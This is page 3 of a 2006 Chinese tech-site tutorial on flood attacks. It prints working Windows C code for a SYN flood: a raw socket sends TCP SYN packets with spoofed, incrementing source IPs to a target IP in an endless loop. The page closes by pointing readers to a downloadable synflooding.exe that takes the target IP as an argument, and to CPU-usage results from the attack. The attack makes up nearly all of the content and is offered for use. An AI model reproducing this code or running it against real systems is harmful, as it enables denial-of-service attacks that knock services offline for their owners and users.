首页产品库评测行情新闻|手机数码笔记本台式机DIY硬件数字家庭数码相机办公外设|软件下载游戏开发|社区

更多

数码相机
MP4
LCD
机箱
音箱

软件资讯设计 工具 系统 开发 安全 办公 陶吧 IT教育 Vista频道 | 下载中心酷我音乐盒 腾讯QQ
天极网 > 开发频道>洪水攻击原理及代码实现全攻略(附源代码)

洪水攻击原理及代码实现全攻略(附源代码)

2006-11-16 13:49作者:极地圣火出处:天极开发责任编辑:方舟

  下一步就是初始化Raw Socket

//初始化SOCK_RAW
if((ErrorCode=WSAStartup(MAKEWORD(2,1),&wsaData))!=0) // 使用Socket2.x版本
{
 fprintf(stderr,"WSAStartup failed: %d\n",ErrorCode);
 ExitProcess(STATUS_FAILED);
} SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);
if (SockRaw==INVALID_SOCKET) // 如果建立Socket错误,输出错误信息
{
 fprintf(stderr,"WSASocket() failed: %d\n",WSAGetLastError());
 ExitProcess(STATUS_FAILED);
}

  第二步就是填充刚才定义的那些数据结构

//设置IP_HDRINCL以自己填充IP首部
ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&flag,sizeof(int));
if (ErrorCode==SOCKET_ERROR)printf("Set IP_HDRINCL Error!\n");
__try{
 //设置发送超时

 ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&TimeOut,sizeof(TimeOut));
 if(ErrorCode==SOCKET_ERROR)
 {
  fprintf(stderr,"Failed to set send TimeOut: %d\n",WSAGetLastError());
  __leave;
 }
 memset(&DestAddr,0,sizeof(DestAddr));
 DestAddr.sin_family=AF_INET;
 DestAddr.sin_addr.s_addr=inet_addr(DestIP);
 FakeIpNet=inet_addr(FAKE_IP);
 FakeIpHost=ntohl(FakeIpNet);
 //填充IP首部
 ip_header.h_verlen=(4<<4 | sizeof(ip_header)/sizeof(unsigned long));
 //高四位IP版本号,低四位首部长度
 ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); //16位总长度(字节)
 ip_header.ident=1; //16位标识
 ip_header.frag_and_flags=0; //3位标志位
 ip_header.ttl=128; //8位生存时间TTL
 ip_header.proto=IPPROTO_TCP;//8位协议(TCP,UDP…)
 ip_header.checksum=0;//16位IP首部校验和
 ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址
 ip_header.destIP=inet_addr(DestIP); //32位目的IP地址
 //填充TCP首部
 tcp_header.th_sport=htons(7000);//源端口号
 tcp_header.th_dport=htons(8080);//目的端口号
 tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号
 tcp_header.th_ack=0; //ACK序列号置为0
 tcp_header.th_lenres=(sizeof(TCP_HEADER)/4<<4|0);//TCP长度和保留位
 tcp_header.th_flag=2; //SYN 标志
 tcp_header.th_win=htons(16384); //窗口大小
 tcp_header.th_urp=0; //偏移
 tcp_header.th_sum=0; //校验和
 //填充TCP伪首部(用于计算校验和,并不真正发送)
 psd_header.saddr=ip_header.sourceIP;//源地址
 psd_header.daddr=ip_header.destIP;//目的地址
 psd_header.mbz=0;
 psd_header.ptcl=IPPROTO_TCP;//协议类型
 psd_header.tcpl=htons(sizeof(tcp_header));//TCP首部长度

  最后一步是通过一个while循环发送向目标机器发送报文

while(1)
{
 //每发送10000个报文输出一个标示符
 printf(".");
 for(counter=0;counter<10000;counter++){
  if(SendSEQ++==65536) SendSEQ=1;//序列号循环
  //更改IP首部
  ip_header.checksum=0;//16位IP首部校验和
  ip_header.sourceIP=htonl(FakeIpHost+SendSEQ);//32位源IP地址
  //更改TCP首部
  tcp_header.th_seq=htonl(SEQ+SendSEQ);//SYN序列号
  tcp_header.th_sum=0; //校验和
  //更改TCP Pseudo Header
  psd_header.saddr=ip_header.sourceIP;
  //计算TCP校验和,计算校验和时需要包括TCP pseudo header
  memcpy(SendBuf,&psd_header,sizeof(psd_header));
  memcpy(SendBuf+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
  tcp_header.th_sum=checksum((USHORT*)SendBuf,sizeof(psd_header)+sizeof(tcp_header));
  //计算IP校验和
  memcpy(SendBuf,&ip_header,sizeof(ip_header));
  memcpy(SendBuf+sizeof(ip_header),&tcp_header,sizeof(tcp_header));
  memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);
  datasize=sizeof(ip_header)+sizeof(tcp_header);
  ip_header.checksum=checksum((USHORT *)SendBuf,datasize);
  //填充发送缓冲区
  memcpy(SendBuf,&ip_header,sizeof(ip_header));
  //发送TCP报文
  ErrorCode=sendto(SockRaw, SendBuf, datasize, 0, (struct sockaddr*) &DestAddr, sizeof(DestAddr));
  if (ErrorCode==SOCKET_ERROR) printf("\nSend Error:%d\n",GetLastError());
 }
}

  到现在为止,我们已经完成了一个洪水攻击的控制台软件。本程序使用VC6.0调试通过。感性趣的读者可以下载本文提供的完整代码。在Debug目录中有一个exe程序,synflooding.exe,可以通过参数将目标IP传入exe。如synflooding 129.11.22.33,如果不带参数,默认就是本机(127.0.0.1)。软件的运行界面如图2所示,攻击后的CPU使用情况如图3如示。


图2 攻击软件运行界面

关注此文的读者还看过:

返回开发频道首页

共3页。 上一页123

软件频道最新更新

热点推荐

IT嘉年华

编辑推荐

软件下载

热门
推荐

网友关注

软件
资料
游戏

装机推荐

文章排行

本周
本月
最新更新
天极服务|关于我们|About us|网站律师|RSS订阅|友情合作|加入我们|天极动态|网站地图|意见反馈|MSN/QQ上看天极
Copyright (C) 1999-2012 Yesky.com, All Rights Reserved 版权所有 天极网络